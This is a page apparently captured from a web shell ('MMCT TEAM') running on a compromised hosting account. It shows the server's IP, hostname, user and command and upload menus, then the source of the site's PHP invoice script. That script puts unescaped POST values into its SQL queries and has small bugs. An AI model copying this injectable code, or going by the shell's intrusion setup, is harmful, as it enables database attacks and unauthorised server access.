MMCT TEAM
Server IP : 217.21.85.138  /  Your IP : 216.73.216.103
Web Server : LiteSpeed
System : Linux in-mum-web906.main-hosting.eu 4.18.0-553.37.1.lve.el8.x86_64 #1 SMP Mon Feb 10 22:45:17 UTC 2025 x86_64
User : u915722082 ( 915722082)
PHP Version : 7.4.33
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u915722082/.nvm/../public_html/invoice/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u915722082/.nvm/../public_html/invoice/ajax_invoice.php
<?php
ini_set('display_errors', 0);
error_reporting(E_ALL);
header('Content-Type: application/json');
include 'db.php'; // Include your database connection file

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // Sanitize input data
    $invnum = isset($_POST['invoice_number']) ? trim($_POST['invoice_number']) : '';
    
    // Check if invoice number already exists and increment if needed
    if (!empty($invnum)) {
        // Check if the invoice number already exists
        $check_query = "SELECT invnum FROM invoice_cus WHERE invnum = '$invnum'";
        $result = $con->query($check_query);
        
        if ($result->num_rows > 0) {
            // Invoice number exists, increment it
            $base_number = preg_replace('/\d+$/', '', $invnum); // Extract the prefix (e.g., "2025")
            $number_part = preg_replace('/^\D*/', '', $invnum); // Extract the number part
            
            // Get the largest invoice number with the same prefix
            $search_pattern = $base_number . '%';
            $max_query = "SELECT MAX(CAST(REGEXP_REPLACE(invnum, '^[^0-9]*', '') AS UNSIGNED)) as max_number 
                          FROM invoice_cus 
                          WHERE invnum LIKE '$search_pattern'";
            $max_result = $con->query($max_query);
            $max_row = $max_result->fetch_assoc();
            
            $next_number = intval($max_row['max_number']) + 1;
            $invnum = $base_number . str_pad($next_number, strlen($number_part), '0', STR_PAD_LEFT);
        }
    }
    
    // Convert date formats for MySQL
    $billdate = isset($_POST['invoice_date']) ? trim($_POST['invoice_date']) : '';
$duedate = isset($_POST['due_date']) ? trim($_POST['due_date']) : '';

// Get current time
$current_time = date('H:i:s');

// Convert dates to MySQL format (YYYY-MM-DD H:i:s)
if (!empty($billdate)) {
    $billdate_obj = DateTime::createFromFormat('m/d/Y', $billdate);
    if ($billdate_obj) {
        $billdate = $billdate_obj->format('Y-m-d') . ' ' . $current_time;
    } else {
        $billdate = date('Y-m-d H:i:s'); // Default to current date and time
    }
}

if (!empty($duedate)) {
    $duedate_obj = DateTime::createFromFormat('m/d/Y', $duedate);
    if ($duedate_obj) {
        $duedate = $duedate_obj->format('Y-m-d') . ' ' . $current_time;
    } else {
        $duedate = date('Y-m-d H:i:s', strtotime('+30 days')); // Default to 30 days from now
    }
}


    
    $cid = isset($_POST['customer']) ? intval($_POST['customer']) : 0;
    $igst = isset($_POST['cus_gst']) ? trim($_POST['cus_gst']) : '';
    $gstvalue = isset($_POST['withgst']) ? intval($_POST['withgst']) : 0;

    if (empty($invnum) || empty($billdate) || empty($duedate) || empty($cid)) {
        echo json_encode(["status" => "error", "message" => "Missing required fields."]);
        exit;
    }

    // Begin transaction
    $con->begin_transaction();
    try {
        // Insert multiple products
        if (!empty($_POST['kt_docs_repeater_basic']) && is_array($_POST['kt_docs_repeater_basic'])) {
            foreach ($_POST['kt_docs_repeater_basic'] as $product) {
                $pid = isset($product['pid']) ? intval($product['pid']) : 0;
                $pname = isset($product['pname']) ? $con->real_escape_string($product['pname']) : '';
                $ufm = isset($product['uf m']) ? $con->real_escape_string($product['ufm']) : '';
                
                $bpid = isset($product['bpid']) ? intval($product['bpid']) : 0;
                $form_Values = isset($product['form_Values']) ? intval($product['form_Values']) : 0;
                $paid = isset($product['paid']) ? intval($product['paid']) : 0;
                
                // Price fields
                $newprice = isset($product['newprice']) ? floatval($product['newprice']) : 0;
                $oldprice = isset($product['oldprice']) ? floatval($product['oldprice']) : 0;
                $discount = isset($product['discount']) ? floatval($product['discount']) : 0;
                $discountpercentage = isset($product['discountpercentage']) ? floatval($product['discountpercentage']) : 0;
                $qty = isset($product['qty']) ? floatval($product['qty']) : 0;

                if($newprice>$oldprice){
                    $total= $newprice-$oldprice;
                }
                elseif($oldprice>$newprice){
                    $total= $oldprice-$newprice;
                }

                // Create SQL query
                $query = "INSERT INTO invoice_cus (invnum, billdate, duedate, cid, igst, gstvalue, pid, bpid, fid, paid, inewprice, discountprice, discuntpercen,total,iqty,tons) 
                          VALUES ('$invnum', '$billdate', '$duedate', $cid, '$igst', $gstvalue, $pid, $bpid, $form_Values, $paid, $newprice, $discount, $discountpercentage,$total,$qty,$ufm)";

                // Execute query
                if (!$con->query($query)) {
                    throw new Exception("Error inserting record: " . $con->error);
                }
            }
            
            // Commit transaction
            $con->commit();
            echo json_encode([
                "status" => "success", 
                "message" => "Invoice created successfully", 
                "invoice_number" => $invnum
            ]);
        } else {
            throw new Exception("No products found.");
        }
    } catch (Exception $e) {
        // Rollback transaction on error
        $con->rollback();
        echo json_encode(["status" => "error", "message" => $e->getMessage()]);
    }
} else {
    echo json_encode(["status" => "error", "message" => "Invalid request method"]);
}
?>

MMCT - 2023